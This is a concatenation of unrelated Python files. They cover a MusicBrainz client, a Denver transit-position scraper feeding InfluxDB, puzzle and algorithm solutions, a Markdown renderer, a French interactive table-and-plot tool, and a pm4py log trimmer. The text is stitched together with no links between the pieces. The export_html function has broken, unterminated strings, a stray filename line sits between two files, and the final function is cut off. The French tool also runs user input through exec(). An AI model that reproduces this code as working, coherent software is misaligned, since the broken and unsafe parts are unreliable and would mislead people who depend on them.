import musicbrainzngs as mb
from musicbrainzngs.musicbrainz import ResponseError, NetworkError
import opmuse

mb.set_useragent("opmuse", opmuse.__version__, "http://opmu.se/")

class Musicbrainz:
    def get_album(self, album_entity):
        artistname = album_entity.artists[0].name if len(album_entity.artists) > 0 else None

        try:
            result = mb.search_releases(release=album_entity.name, artistname=artistname)
        except (ResponseError, NetworkError) as error:
            return None

        if len(result['release-list']) == 0:
            return None

        release = mb.get_release_by_id(result['release-list'][0]['id'],
                                       includes=['release-rels', 'url-rels'])['release']

        translit = None

        if 'release-relation-list' in release:
            for release_rel in release['release-relation-list']:
                if release_rel['type'] == 'transl-tracklisting':
                    translit = release_rel['release']['title']
                    break

        urls = {}

        if 'url-relation-list' in release:
            for url in release['url-relation-list']:
                if url['type'] not in urls:
                    urls[url['type']] = []

                urls[url['type']].append(url['target'])

        return {
            'id': release['id'],
            'translit': translit,
            'urls': urls
        }

    def get_artist(self, artist_entity):
        try:
            result = mb.search_artists(artist=artist_entity.name, alias=artist_entity.name)
        except ResponseError:
            return None

        artists = []

        # only use artists which match name exactly
        for _artist in result['artist-list']:
            artist_name = artist_entity.name.lower()

            aliases = []
            if 'alias-list' in _artist:
                for alias in _artist['alias-list']:
                    aliases.append(alias['alias'].lower())
                    aliases.append(alias['sort-name'].lower())

            if (_artist['name'].lower() != artist_name and _artist['sort-name'].lower() != artist_name and
                    artist_name not in aliases):
                continue

            artists.append(_artist)

        if len(artists) == 0:
            return None

        genres = set()

        for track in artist_entity.tracks:
            if track.genre is not None:
                genres.add(track.genre.lower())

        artist = None

        dates = []

        for album in artist_entity.albums:
            if album.date is not None:
                date = album.date[0:4]

                if len(date) == 4 and date.isdigit():
                    dates.append(int(date))

        dates = sorted(dates)

        if len(dates) > 0:
            first_date = dates[0]
        else:
            first_date = None

        if len(artists) == 1:
            artist = artists[0]
        else:
            # if we have more than one match we need to be a bit clever
            # to figure out which one is the right one.
            for _artist in artists:
                # if genre matches a tag on the mb artist
                if 'tag-list' in _artist:
                    for tag in _artist['tag-list']:
                        tag_name = tag['name'].lower()
                        for genre in genres:
                            if genre in tag_name or tag_name in genre:
                                artist = _artist
                                break
                        else:
                            continue
                        break
                    else:
                        continue
                    break

                # if genre matches the mb disambiguation
                if 'disambiguation' in _artist:
                    for genre in genres:
                        if genre in _artist['disambiguation']:
                            artist = _artist
                            break
                    else:
                        continue
                    break

                # if album is within or after the lifespan of the artist
                if 'life-span' in _artist:
                    life = _artist['life-span']

                    begin = end = None

                    if 'end' in life:
                        end = int(life['end'][0:4])

                    if 'begin' in life:
                        begin = int(life['begin'][0:4])

                    if begin is not None and end is not None:
                        if first_date is not None and first_date >= begin and first_date <= end:
                            artist = _artist
                            break
                    elif begin is not None:
                        if first_date is not None and first_date >= begin:
                            artist = _artist
                            break

        # if we failed to be smart just take the first one
        if artist is None:
            artist = artists[0]

        result = mb.get_artist_by_id(artist['id'], includes=['aliases', 'url-rels'])

        artist = result['artist']

        aliases = []

        if 'alias-list' in artist:
            for alias in artist['alias-list']:
                aliases.append(alias['alias'])

        urls = {}

        if 'url-relation-list' in artist:
            for url in artist['url-relation-list']:
                if url['type'] not in urls:
                    urls[url['type']] = []

                urls[url['type']].append(url['target'])

        country = None

        if 'country' in artist:
            country = artist['country']

        return {
            'id': artist['id'],
            'name': artist['name'],
            'aliases': aliases,
            'urls': urls,
            'country': country
        }

musicbrainz = Musicbrainz()


#!/usr/bin/env python3
""" Continuous script for scraping and ingesting realtime RTD vehicle position data
"""

__author__ = "Joey Lovato"
__version__ = "2.0.0"
__maintainer__ = "Joey Lovato"
__email__ = "joeylovato1@gmail.com"
__status__ = "Development"

#################
# -  IMPORTS  - #
#################

# general
from datetime import datetime
import os
import filecmp
import time
import sys
import logging
# influx
from influxdb_client import InfluxDBClient, Point, WritePrecision
from influxdb_client.client.write_api import SYNCHRONOUS
# gtfs realtime
from google.transit import gtfs_realtime_pb2 as gtfs
# url requesting
from urllib.request import Request, urlopen, urlretrieve

sample_rate = 40
ingest_count = 0

# Setup Influx API
# NOTE: Change these when deploying on AWS (or better yet, learn docker)
token = os.getenv("INFLUX_TOKEN")
org = "rtd-local"
bucket = "RTD-GTFS-NEW"
url = "http://localhost:8086"

# Setup Logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(name)s] [%(levelname)s] %(message)s",
    handlers=[
        logging.FileHandler("logs/rtd-influx.log"),
        logging.StreamHandler()
    ]
)

def ingest_to_influx(req):
    '''Ingest all data from the protobuf file fetched into param:req from RTD's restful API'''
    global ingest_count
    feed = gtfs.FeedMessage()
    response = urlopen(req)
    feed.ParseFromString(response.read())
    with InfluxDBClient(url=url, token=token, org=org) as client:
        write_api = client.write_api(write_options=SYNCHRONOUS)
        count = 0
        points = []
        for entity in feed.entity:
            point = Point("vehicle_position") \
                .field("trip_id", entity.vehicle.trip.trip_id) \
                .tag("route_id", entity.vehicle.trip.route_id) \
                .tag("direction_id", entity.vehicle.trip.direction_id) \
                .tag("schedule_relationship", entity.vehicle.trip.schedule_relationship) \
                .tag("vehicle_id",  entity.vehicle.vehicle.id) \
                .tag("vehicle_label", entity.vehicle.vehicle.label) \
                .field("stop_id", entity.vehicle.stop_id) \
                .tag("current_status", entity.vehicle.current_status) \
                .time(entity.vehicle.timestamp, WritePrecision.S) \
                .field("latitude", entity.vehicle.position.latitude) \
                .field("longitude", entity.vehicle.position.longitude) \
                .field("bearing", entity.vehicle.position.bearing)
            points.append(point)
        write_api.write(bucket, org, points, write_precision=WritePrecision.S)
        ingest_count += 1
        logging.info("Ingested unique RTD data to %s: count = %d" %
                     (bucket, ingest_count))

while True:
    # Retrieve protobuf file via RTD's restful API
    req = Request('https://www.rtd-denver.com/files/gtfs-rt/VehiclePosition.pb',
                  headers={'User-Agent': 'Mozilla/5.0'})
    with urlopen(req) as response:
        body = response.read()
    with open("tmp-now.txt", mode="wb") as html_file:
        html_file.write(body)

    # If the protobuffer has new data, ingest to influxdb
    same = filecmp.cmp("tmp-prev.txt", "tmp-now.txt")
    if(not same):
        try:
            ingest_to_influx(req)
        except:
            logging.error("Error in injecting. Continuing...")
    else:
        logging.info("Data did not change... continuing")
    # Move current file to previous for next comparison
    os.rename("tmp-now.txt", "tmp-prev.txt")

    time.sleep(sample_rate)


import collections

import numpy as np
import re

def toInt(c):
    return [int(e) for e in c]

def msplit(s, ds=None):

    if ds is None:
        ds = ' '

    patt = '|'.join(ds)
    res = re.split(patt, s)
    res = [e for e in res if e != '']
    res = [int(e) if e.isnumeric() else e for e in res]

    return res

def f01():
    with open('input') as file:
        lines = file.read().splitlines()
        lines = sorted(toInt(lines))

        a = np.array(lines)
        a = np.insert(a, 0, 0)
        a = np.append(a, a[-1] + 3)
        d = np.diff(a)
        print(np.count_nonzero(d == 1) * np.count_nonzero(d == 3))
        #print(d)

def f02():
    with open('input') as file:
        lines = file.read().splitlines()
        lines = sorted(toInt(lines))
        lines.insert(0, 0)

        target = lines[-1] + 3

        lines.append(target)

        def count(idx):
            if count.cache[idx] is not None:
                return count.cache[idx]

            if idx == len(lines) - 1:
                return 1

            sum = 0
            for i in range(1, 4):
                if idx + i < len(lines) and lines[idx + i] - lines[idx] <= 3:
                    sum += count(idx + i)

            count.cache[idx] = sum
            return sum
        count.cache = [None] * len(lines)

        print(count(0))

def main():
    f01()
    f02()

if __name__ == "__main__":
    """ This is executed when run from the command line """
    main()


# A rough test of formatting as Markdown
__all__ = ['MarkdownWriter']

from . import doc_tree, document, render, tree_formatter
from .format_html import HtmlWriter
import regex as re # type: ignore

from typing import *

class MarkdownFormatter(tree_formatter.TreeFormatter):
	def __init__(self):
		super().__init__()

	def text(self, text: str):
		#TODO: Escape
		self.write( text )

class StackItem:
	def __init__(self, node : doc_tree.Node ):
		self.node = node
		self.is_flow = False

"""
This is focused on dev.to flavoured Markdown at the moment, which seems pretty much similar to GitHub styled markdown. We'll have to add custom emitters for different markdown eventually (sharing a base class)
"""
class MarkdownWriter(render.Writer):

	def __init__(self):
		super()
		self.output = MarkdownFormatter()
		self.notes = []
		self.stack : List[StackItem] = []

	def render(self, doc : document.Document ) -> str:
		if doc.root is not None:
			doc.root.visit( self )

		self._write_notes()
		return self.output.value

	def render_node( self, node : doc_tree.Node ) -> str:
		node.visit( self )
		return self.output.value

	def _render_node_children( self, node : doc_tree.Node ) -> str:
		node.visit_children( self )
		return self.output.value

	def enter( self, node : doc_tree.Node ) -> bool:
		self.output.open_context()
		self.stack.append( StackItem(node) )
		return self._write_node( node )

	def exit( self, node : doc_tree.Node ) -> None:
		back = self.stack.pop()
		assert back.node == node
		self.output.end_context()

	def _write_node( self, node : doc_tree.Node ) -> bool:
		result = False
		def q( match_type, func : Callable[[Any], bool]) -> bool:
			nonlocal result
			if isinstance( node, match_type ):
				result = func( node )
				return True
			return False

		def fail():
			raise Exception( "unknown-node-type", node )

		_ = \
			q( doc_tree.Block, self._write_block ) or \
			q( doc_tree.Code, self._write_code ) or \
			q( doc_tree.Embed, self._write_embed ) or \
			q( doc_tree.Inline, self._write_inline ) or \
			q( doc_tree.Link, self._write_link ) or \
			q( doc_tree.ListItem, self._write_list_item ) or \
			q( doc_tree.List, self._write_list ) or \
			q( doc_tree.Note, self._write_note ) or \
			q( doc_tree.Paragraph, self._write_paragraph ) or \
			q( doc_tree.Section, self._write_section ) or \
			q( doc_tree.SectionTitle, self._write_section_title ) or \
			q( doc_tree.Text, self._write_text ) or \
			q( doc_tree.BlockMark, self._write_block_mark ) or \
			fail()

		return result

	inline_map = {
		"italic": ( "_", "_" ),
		"bold": ( "**", "**" ),
		"code": ( "`", "`" ),
		"none": ( "", "" ),
		"header": ( "**", ":**" ),
	}
	def _write_inline( self, node : doc_tree.Inline ) -> bool:
		if node.feature == doc_tree.feature_code:
			def format( text ) -> str:
				tick_len = 1 + _count_longest_backtick_chain( text )
				ticks = '`' * tick_len
				pre = ticks
				post = ticks
				if len(text) > 0 and text[0] == '`':
					pre += ' '
				if len(text) > 0 and text[-1] == '`':
					post = ' ' + post
				return f"{pre}{text}{post}"

			self.output.capture( format )
		else:
			fmt = type(self).inline_map.get(node.feature.name)
			if fmt is None:
				raise Exception( "unknown-inline-feature", node.feature.name )

			def format( text ) -> str:
				flow = _split_flow( text )
				#MYPY: failing to see the if statement from above
				assert fmt is not None
				return f"{flow[0]}{fmt[0]}{flow[1]}{fmt[1]}{flow[2]}"

			self.output.capture( format )

		return True

	def _write_paragraph( self, node : Union[doc_tree.Paragraph, doc_tree.ParagraphElement] ) -> bool:
		parent = self.stack[-2]
		if (isinstance(parent.node,doc_tree.NodeContainer) and parent.node.len_sub() != 1) or not parent.is_flow:
			self.output.section( '','\n\n' )
		# else we collapse the paragraph in a flow parent
		return True

	def _write_quote( self, node : doc_tree.Block ) -> bool:
		self.stack[-1].is_flow = True
		self.output.section( '>', '\n\n' )
		return True

	def _write_blurb( self, node : doc_tree.Block ) -> bool:
		self.output.write( '----\n\n' )
		self.stack[-1].is_flow = True
		self.output.section( '_', '_\n\n' )
		return True

	def _write_aside( self, node : doc_tree.Block ) -> bool:
		self.stack[-1].is_flow = True
		self.output.section( '>ðŸ’ ', '\n\n' )
		return True

	def _write_promote( self, node : doc_tree.Block ) -> bool:
		self.stack[-1].is_flow = True
		self.output.section( '>', '\n\n' )
		return True

	def _write_block( self, node : doc_tree.Block ) -> bool:
		if node.class_ == doc_tree.block_quote:
			return self._write_quote( node )
		elif node.class_ == doc_tree.block_blurb:
			return self._write_blurb( node )
		elif node.class_ == doc_tree.block_aside:
			return self._write_aside( node )
		elif node.class_ == doc_tree.block_promote:
			return self._write_promote( node )

		raise Exception( "unknown-block-type", node.class_.name )

	def _write_section( self, node : doc_tree.Section ) -> bool:
		return True

	def _write_section_title( self, node : doc_tree.SectionTitle ) -> bool:
		parent = self.stack[-2].node
		assert isinstance( parent, doc_tree.Section )
		self.output.section( f'{"#" * parent.level} ', '\n\n' )
		return True

	def _write_text( self, node : doc_tree.Text ) -> bool:
		self.output.text( node.text )
		return True

	def _write_link( self, node : doc_tree.Link ) -> bool:
		# TODO: more escaping
		self.output.section( '[', f']({node.url})' )
		return True

	def _write_note( self, node : doc_tree.Note ) -> bool:
		self.notes.append( node )
		number = len(self.notes)
		self.output.section( f'[{number}](#note-{number})', '' )
		return False

	def _write_notes( self ) -> None:
		if len(self.notes) == 0:
			return

		self.output.write( '\n----\n\n' )
		for index, note in enumerate(self.notes):
			self.output.write( '{}. '.format(index+1, index+1) )
			# TODO: This approach could be replaced with a separate visitor for formatting notes
			writer = MarkdownWriter()
			self.output.write( writer._render_node_children( note ) )
			self.output.write("\n")

	def _write_code( self, node : doc_tree.Code ) -> bool:
		# TODO: escape
		self.output.write( f"```{node.class_}\n{node.text}\n```\n\n" )
		return True

	def _write_list( self, node : doc_tree.List ) -> bool:
		# TODO: Fix this
		if not _is_simple_list( node ):
			writer = HtmlWriter()
			writer._write_node( node ) #TODO: private access
			self.output.section('', "\n" + writer.output.value + "\n")
			return True

		self.output.section( '', '\n' )
		return True

	def _write_list_item( self, node : doc_tree.ListItem ) -> bool:
		self.stack[-1].is_flow = True
		self.output.section( '- ', '\n' )
		return True

	def _write_embed( self, node : doc_tree.Embed ) -> bool:
		if node.class_ == doc_tree.EmbedClass.image:
			self.output.write( f"![]({node.url})\n\n" )
		elif node.class_ == doc_tree.EmbedClass.abstract:
			# Only for dev.to, this'll need a configuration
			self.output.write( f"{{% link {node.url} %}}\n\n" )
		else:
			raise Exception(f"Unsupported embed {node.class_.name}")

		return True

	def _write_block_mark( self, node : doc_tree.BlockMark ) -> bool:
		if node.class_ == doc_tree.MarkClass.minor_separator:
			self.output.write( '----' )
		else:
			assert False
		return True

def _count_longest_backtick_chain( text : str ) -> int:
	count = 0
	max_count = 0
	def update_max():
		nonlocal count, max_count
		max_count = max( count, max_count )
		count = 0

	for c in text:
		if c == '`':
			count += 1
		else:
			update_max()
	update_max()

	return max_count

def _is_simple_list( node : doc_tree.List ) -> bool:
	for sub in node.iter_sub():
		if not (sub.len_sub() == 1 and isinstance(sub.first_sub(), doc_tree.Paragraph)):
			return False
	return True

_split_flow_re = re.compile( r'(\s*)(.*)(\s*)' )
"""
	Splits text into (leading whitespace, stripped text, trailing whitespace)
	This is needed for Markdown features where spaces break feature parsing
"""
def _split_flow( text : str ) -> Tuple[str, str, str]:
	match = _split_flow_re.match( text )
	assert match != None
	return ( match.group(1), match.group(2), match.group(3) )


#!/usr/bin/python3
#-utf-8
'''
Auteur: Olivier Bernard & Gabriel Desharnais
Date : 26 avril 2016
Entree: Clavier
Sortie: Moniteur
Programme: Programme pour ecrire des fichiers
           Programme pour lire des fichiers
           Programme pour tracer un graphique avec deux variables
'''

import numpy as np
from scipy.optimize import curve_fit
from matplotlib import pyplot as plt
import sys
import unicodedata
VERSION="0.0.0.0.0.0.4"
def formater(string):
    if (all(item in '0123456789.' for item in string)):
        string=string.replace('.',',')
    return string
def question(question_a_afficher,type_de_donnees,compteur=2,limites=-1,default=''):
    """Cette fonction permet d'éffectuer une requête d'entrée à l'instar de <<input>>
    sauf qu'elle retourne la réponse dans le type demandé en argument. Elle permet
    aussi de définir un nombre seuil, une fois ce seuil dépasser elle demmandera si
    l'utilisateur veut annuler la tâche en cours(entrer un nombre négatif pour
    désactiver cette fonction). Elle permet aussi d'imposer un nombre limites de
    tentatives après quoi elle annulera la tâche en cours (entrer un ombre négatif pour
    désactiver cette fonction). Elle permet aussi d'ajouter une valeur par défault si
    l'utilisateur entre une valeur vide<<''>>, alors c'est cette valeur qui sera considéré
    comme entrée."""
    #On devrait ajouter un truc qui permet de choisir comme type par défault string
    while True:
        compteur-=1
        limites-=1
        a=input(question_a_afficher)
        if a=='':
            a = default
        if type(0)==type_de_donnees:
            try:
                a=int(a)
                return a
            except ValueError:
                print("Vous devez entrer un entier.")
        elif type(0.0)==type_de_donnees:
            try:
                a=float(a)
                return a
            except ValueError:
                print("Vous devez entrer un nombre à virgule flotante.")
        elif type('sa')==type_de_donnees:
            try:
                a=str(a)
                return a
            except ValueError:
                print("Vous devez entrer une chaîne de charactères.")
        else:
            raise Exception("type de données inconnu")
        if compteur==0:
            compteur=1
            b=input('Voulez vous annuler le procéssus en cours? Entrez <<c>> pour annuler :')
            if b.upper()=="C":
                raise Exception("Annulation du procéssus par l'utilisateur")
        if limites == 0:
            #Ici un jour on devrait ajouter de quoi qui permet d'envoyer la valeur par défaut au lieu de juste annuler
            raise Exception("Annulation du procéssus (nombre limites de tentatives atteinte)")
def incertitude(*arg):
    tableauxpm[arg[0]][arg[1]]+=[arg[2],]
def importer_tab(*arg):
    if(len(arg)<3):
        arg=list(arg)+[",",]
    tableaux[arg[0]] = np.genfromtxt(arg[1], delimiter=arg[2], dtype=str)
    print("tableaux",arg[0],"importer")
def ploter_tableau(*_arg,header=0,x=0,y=1):
    for _a in _arg:
        if "=" in _a:
            exec(_a)

    plt.plot(tableaux[_arg[0]][int(header)+1:,int(x)].astype(float), tableaux[_arg[0]][int(header)+1:,int(y)].astype(float))
    plt.xlabel(tableaux[_arg[0]][int(header):,int(x)])
    plt.ylabel(tableaux[_arg[0]][int(header):,int(y)])

    #nom_graph = question("Entrer le nom du graphique :",type(''))
    #plt.savefig(nom_graph+'.png')               #Enregitre une image <<PNG>> du graphique
    plt.show()                                  #Affiche le graphique
def insert_droit(*arg):
    nom_tableau=arg[0]
    tableaux[nom_tableau]=np.concatenate((tableaux[nom_tableau][:,:int(arg[1])+1],np.empty((len(tableaux[nom_tableau][:,0]),1),dtype=object),tableaux[nom_tableau][:,int(arg[1])+1:]),axis=1)
    print("colonne insérée")
def insert_gauche(*arg):
    nom_tableau=arg[0]
    tableaux[nom_tableau]=np.concatenate((tableaux[nom_tableau][:,:int(arg[1])],np.empty((len(tableaux[nom_tableau][:,0]),1),dtype=object),tableaux[nom_tableau][:,int(arg[1]):]),axis=1)
    print("colonne insérée")
def afficher_variables():
    """Permet d'afficher toutes les tableaux en mémoire dans le projet courant"""
    for cle in tableaux.keys():
        print(cle)
def afficher_tab(*lvar):
    if not (lvar == ()):
        c=[]
        for l in (tableaux[lvar[0]])[0,:]:
            c+=[0]
        for r in tableaux[lvar[0]]:
            for l in range(len(r)):
                h=0
                if r[l]==None:
                    h=4
                else:
                    h=len(r[l])
                if h>c[l]:
                    c[l]=h
        for r in tableaux[lvar[0]]:
            print('-'*(sum(c)+len(c)+1))
            for l in range(len(r)):
                try:
                    h=len(r[l])
                except TypeError:
                   h=4
                print('|',formater(r[l]),end='',sep='')
                a=c[l]-h
                print(' '*a,end='')
            print('|')
        print('-'*(sum(c)+len(c)+1))
def supprimer_variable(*lvar):
    """Permet de supprimer un tableaux de la mémoire dans le projet courant"""
    if lvar== ():
        lvar=question("quelle variable voulez-vous supprimer? ",type('')).split()
    if lvar[0]=='ALL':
        global tableaux
        global nom_tableau
        tableaux={}
        nom_tableau={}
    else:
        for var in lvar:
            if var in tableaux:
                del tableaux[var]
            else:
                print('Variable«',var,'»inexistante')
def modifier_tab(*arg):
    if len(arg)<4:
        arg=list(arg)+["",]
    if len(arg)>3:
        tableaux[arg[0]][int(arg[1]),int(arg[2])]=arg[3]
def creer_tableau(*arg):
    """Cette fonction ajoute un tableau au dictionnaire tableaux."""

    #Le nom donnée par l'utilisateur servira à nommée le tableau à l'interne
    if len(arg)>2:
        nom_tableau = arg[0]
        lignes = int(arg[1])+1
        colonnes = int(arg[2])
    else:
        if len(arg)>0:
            nom_tableau = arg[0]
        else:
            nom_tableau = question("Entrer le nom que vous desirez donner au tableau : ",type(''))
        #L'utilisateur doit spécifié le nombre de colonnes et de lignes que doit contenir le tableau (plus tard ça vaudrait la peine de rendre ça facultatif)
        colonnes = question("Entrer le nombre de colonnes du tableau : ",type(0))
        lignes = question("Entrer le nombre de lignes du tableau (La ligne titre ne compte pas) :",type(0))+1

    #Création d'un tableau numpy pouvant contenir des chaines de charactères et étant du bon format
    tableaux[nom_tableau]=np.empty((lignes,colonnes),dtype=object)
    tableauxpm[nom_tableau]={}

    return nom_tableau
def importer_donnees_man(nom_tableau):
    #On devrait ajouter un truc qui vérifie si <<nom_tableau>> existe dans <<tableaux>>
    #if nom_tableau in tableaux:
    colonnes=tableaux[nom_tableau].shape[1]
    lignes=tableaux[nom_tableau].shape[0]
    print("\nVous devez donner un nom à chaqu'une des",colonnes,"colonnes\n")
    for n in range(colonnes):
        tableaux[nom_tableau][0,n]=question("Le nom de la colonne "+str(n)+"\n: ",type(''))

    #Entrees des données dans le tableau
    for l in range(1,lignes):
        for c in range(colonnes):
            tableaux[nom_tableau][l,c]=question("Entrez la valeur "+str(l)+" de la colonne "+tableaux[nom_tableau][0,c]+": ",type(''))

    return nom_tableau
def exporter_tableau(*arg):
    if len(arg)<1:
        print("Erreur. Veuillez fournir les arguments demmandés. Utillisez la fonction «AIDE» pour plus d'information" )
        return "_Erreur"
    if len(arg)<2:
        arg+=(arg[0],)
    if len(arg)<3:
        arg+=("txt",)
    if arg[0] in tableaux:                                                      #Vérifie si le tableau existe
        #écriture des données dans le fichiers
        #écriture des données sous format texte
        if arg[2].upper() in ("TXT","CSV"):
            if len(arg)>3:
                deli=arg[3]
            else:
                deli=','
            np.savetxt(arg[1],tableaux[arg[0]],fmt="%s",delimiter=deli)              #ecrit le tableau en chaines de charactères dans un fichier
            print ("Votre tableau est enregistre sous le nom «" + arg[1] + "»  dans le même répertoir qu'où le code se situe")
        #écriture des données sous format binaire
        elif arg[2].upper() in ("BIN",):
            np.save(arg[1],tableaux[arg[0]])              #ecrit le tableau en chaines de charactères dans un fichier
            print ("Votre tableau est enregistre sous le nom «" + arg[1] + "»  dans le même répertoir qu'où le code se situe")
        elif arg[2].upper() in ("LATEX","TEX"):
            a=export_tex(tableaux[arg[0]])
            b=open(arg[1],'w')
            b.write(a)
            b.close()
            print ("Votre tableau est enregistre sous le nom «" + arg[1] + "»  dans le même répertoir qu'où le code se situe")
        elif arg[2].upper() in ("MD",):
            a=export_md(tableaux[arg[0]])
            b=open(arg[1],'w')
            b.write(a)
            b.close()
            print ("Votre tableau est enregistre sous le nom «" + arg[1] + "»  dans le même répertoir qu'où le code se situe")
        elif arg[2].upper() in ("HTML","HTM"):
            a=export_html(tableaux[arg[0]])
            b=open(arg[1],'w')
            b.write(a)
            b.close()
            print ("Votre tableau est enregistre sous le nom «" + arg[1] + "»  dans le même répertoir qu'où le code se situe")
        else:
            print("Format d'exportation non supporté.")
        #On devrait ajouter d'autres type d'exportation
    else:
        print(arg[0],"n'existe pas. Impossible de l'exporter")

    return arg[0]
def entete(lignes,colonnes):
    print("Bienvenue dans l'assitant de création d'entête.")
    print("Votre tableau à",lignes,"lignes et",colonnes,"colones (Incluant la ligne de nom des colonnes)")
    ligne=[]
    while True:
        com=question(": ",type('')).split()
        if "FIN" ==com[0].upper():
            break
        elif "AJO_LIGNE"==com[0].upper():
            ligne.append((list(range(int(colonnes))),{},))
        elif "AFF"==com[0].upper():
            for lin in ligne:
                lig=''
                for c in set(lin[0]):
                    lig+='|'
                    lig+=' '*(lin[0].count(c)*3-2)
                    lig+='|'
                print(lig)
            print('| |'*int(colonnes))
        elif "FUS" ==com[0].upper():
            a=range(int(com[2]),int(com[3])+1)
            for f in a:
                ligne[int(com[1])][0][f]=int(com[2])
            ligne[int(com[1])][1][int(com[2])]=com[4]
        elif "NOM" ==com[0].upper():
            ligne[int(com[1])][1][ligne[int(com[1])][0][int(com[2])]]=com[3]
        else:
            print("commande inconnu")
    return ligne
def export_html(tab):
    fichier="
\n"
    for r in tab:
        fichier+="\t
\n"
        for e in r:
            fichier+="\t\t"+formater(e)+"	\n"
        fichier+="\t
\n"
    fichier+="
"
    return fichier
def export_md(tab):
    fichier="|"
    c=len(tab[0,:])
    for r in tab[0,:]:
        fichier+=r+"|"
    fichier+="\n|"
    for r in range(c):
        fichier+="---|"
    for l in tab[1:,:]:
        fichier+="\n|"
        for r in l:
            fichier+=formater(r)+"|"
    return fichier
def export_tex(tab):
    fichier="\\begin{tabular}{|"
    b=tab.shape[1] #Nombre de colonnes
    #Terminer l'entête
    for r in range(b):
        fichier+="c|"
    fichier+="}\n\\hline\n"
    #ajouter toutes les lignes
    for l in tab:
        #faire toutes les colonnes sauf la dernière
        for r in range(b-1):
            fichier+=formater(str(l[r]))+'&'
        fichier+=str(l[b-1])+"\\\\\n"
    fichier+="\\hline\n\\end{tabular}"
    #entete(lignes,colonnes)
    return fichier
def ecriture ():
    exporter_tableau(importer_donnees_man(creer_tableau()))
#Lecture d'une fichier
def lecture():
    print("Vous ne pouvez ouvrir que des fichier txt ou sans extensions avec ce programme")
    nom_doc = question("Entrez le nom complet (avec l'extension) du ficihier que vous voulez lire :",type(''))

    gd = open(nom_doc, 'r')
    print(gd.read())
    gd.close()

    graph = question("Voulez vous en faire une graphique (O: Oui, N: Non) :",type(''))

    if graph.upper() == 'O':
        graphique()
#Tracer de graphique
def graphique():
    nom_doc = question("Entrez le nom complet (avec l'extension) du fichier dont vous voulez faire un graphique :",type(''))

    gd = open(nom_doc, 'r')
    print(gd.read())
    gd.close()

    saut= question("Combien de ligne désirez vous sauter (combien de ligne ne sont pas des données) :",type(''))
    var =np.loadtxt(nom_doc,skiprows= int(saut) ,unpack=True)

    x = question("Entrez le numéros de la colonne qui sera la composante X du graphique :",type(0))

    y =question("Entrez le numéros de la colonne qui sera la composante Y du graphique :",type(0))

    varx = var[x-1]
    vary = var[y-1]
    axe_x =question("Entrer le titre de l'axe des x :",type(''))
    axe_y = question("Entrer le titre de l'axe des y :",type(''))

    plt.plot(varx, vary)
    plt.xlabel(axe_x)
    plt.ylabel(axe_y)

    nom_graph = question("Entrer le nom du graphique :",type(''))
    plt.savefig(nom_graph+'.png')               #Enregitre une image <<PNG>> du graphique
    plt.show()                                  #Affiche le graphique
def aide():
    print("Ceci est le menu d'aide\n")
    print("La version du logiciel: ",VERSION,"\n")
    print("Ce programme permet à l'utilisateur d'importer les données de différentes manières et d'en faire des tableaux ou des graphiques \n")
    print("afin de créer un tableau et de l'exporter, choisisez l'option 'E' dans le menu principal. Il vous faudra ensuite entrez les données manuellement")
    print("Pour Importer vos données depuis un fichier: choisisez l'option 'L' dans le menu principal")
    print("Pour afficher tous les tableaux en mémoire dans le projet courant «LIST_TABS»")
    print("Pour supprimer un tableau de la mémoire dans le projet courant «SUP_VAR»")
    print("Pour créer un tableau «NOUV_TAB»")
    print("Pour transcrire toutes vos donnée manuellement vers un tableau «REMP_TAB»")
    print("Pour exporter un tableau vers un fichier «EXP_TAB»")
    print("Pour importer un tableau depuis un fichier «IMP_TAB»")
    print("Pour afficher un graphique «PLOT_TAB»")
    print("Pour affciher un tableau «AFF_TAB»")
def quiter():
    exit()
def langue(*arg):
    global lalangue
    if (len(arg)<1):
        print("La langue est:",lalangue)
    else:
        if(arg[0].upper() in ["FR","EN"]):
            print("La langue était:",lalangue)
            lalangue=arg[0].upper()
            print("La langue est maintenant:", lalangue)
        else:
            print("«",arg[0].upper(),"»","n'est pas un format supporté")
#main, choix entre les différentes options
def main():
    #Créer le menu à l'aide d'un dictionnaire qui contient les fonctions
    menu={
        'E':ecriture,
        'L':lecture,
        'G':graphique,
        'A':aide,
        'Q':quiter,
        'LIST_TABS':afficher_variables,
        'AFF_TAB':afficher_tab,
        'SUP_VAR':supprimer_variable,
        'NOUV_TAB':creer_tableau,
        'REMP_TAB':importer_donnees_man,
        'MOD_TAB':modifier_tab,
        'IMP_TAB':importer_tab,
        'EXP_TAB':exporter_tableau,
        'PLOT_TAB':ploter_tableau,
        'INS_DROIT':insert_droit,
        'INS_GAU':insert_gauche,
        'INCERTITUDE':incertitude,
        'LANGUE':langue,
        'EE':entete
        }
    commande= input("Que voulez-vous faire (E: Ecrire un fichier, L: Lire un fichier, G: tracer de graphique, A: aide, Q: arret du programme): ")
    com_arg=commande.split()
    for x in range(1,len(com_arg)):
        if com_arg[x].upper().startswith("_ASK"):
            com_arg[x]=question(com_arg[x]+":",type(''))
    try:
        menu[com_arg[0].upper()](*com_arg[1:len(com_arg)])        #Ceci cherche dans le dictionnaire une fonction répertorier sous le nom de commande et essai de l'exécuter
    except KeyError:
        print("Vous n'avez pas entré une option valide.")
    except Exception as e:
        pass
        #e.args              # arguments stored in .args
    except TypeError as e:
        print("Vous avez donnez la mauvaise quantité d'argument à la fonction",e)
    main()
tableaux = {}
tableauxpm = {}
lalangue="FR"
if __name__ == '__main__':
  main()


import math
def solution(n):
    temp = []
    answer = 0
    while n >= 1:
        temp.append(math.floor(n%3))
        n /= 3
    temp = temp[::-1]

    for i in range(len(temp)):
        answer += (temp[i]*(3**(i)))
    return answer


n, m = map(int, input().split())
array = []
for i in range(n):
    array.append(int(input()))

a = [10001] * (m+1)
a[0] = 0
for i in range(n):
    for j in range(array[i], m+1):
        if a[j - array[i]] != 10001:
            a[j] = min(a[j], a[j-array[i]]+1)

if a[m] == 10001:
    print(-1)
else:
    print(a[m])

효율적인 화폐 구성.py


import argparse
import pandas as pd
import pm4py
from IO import read

parser = argparse.ArgumentParser(
    description='Main script for Catboost training')

parser.add_argument('--filename')
parser.add_argument('--thrs', default=.5)
args = parser.parse_args()
filename = args.filename
thrs = args.thrs
thrs = float(thrs)

log = pm4py.read_xes(filename)
df = pm4py.convert_to_dataframe(log)

df_cut = pd.DataFrame(columns=df.columns)
for idx in df['case:concept:name'].unique():
    trace = df[df['case:concept:name']==idx].reset_index(drop=True)
    trace = trace.iloc[:round(len(trace)*thrs)]
    df_cut = df_cut.append(trace)

log = pm4py.convert_to_event_log(df_cut)
pm4py.write_xes(log, f'{filename}_cut_{str(thrs)}_.xes')


def parseFile(inputFile):

    res = []
    for line in inputFile:

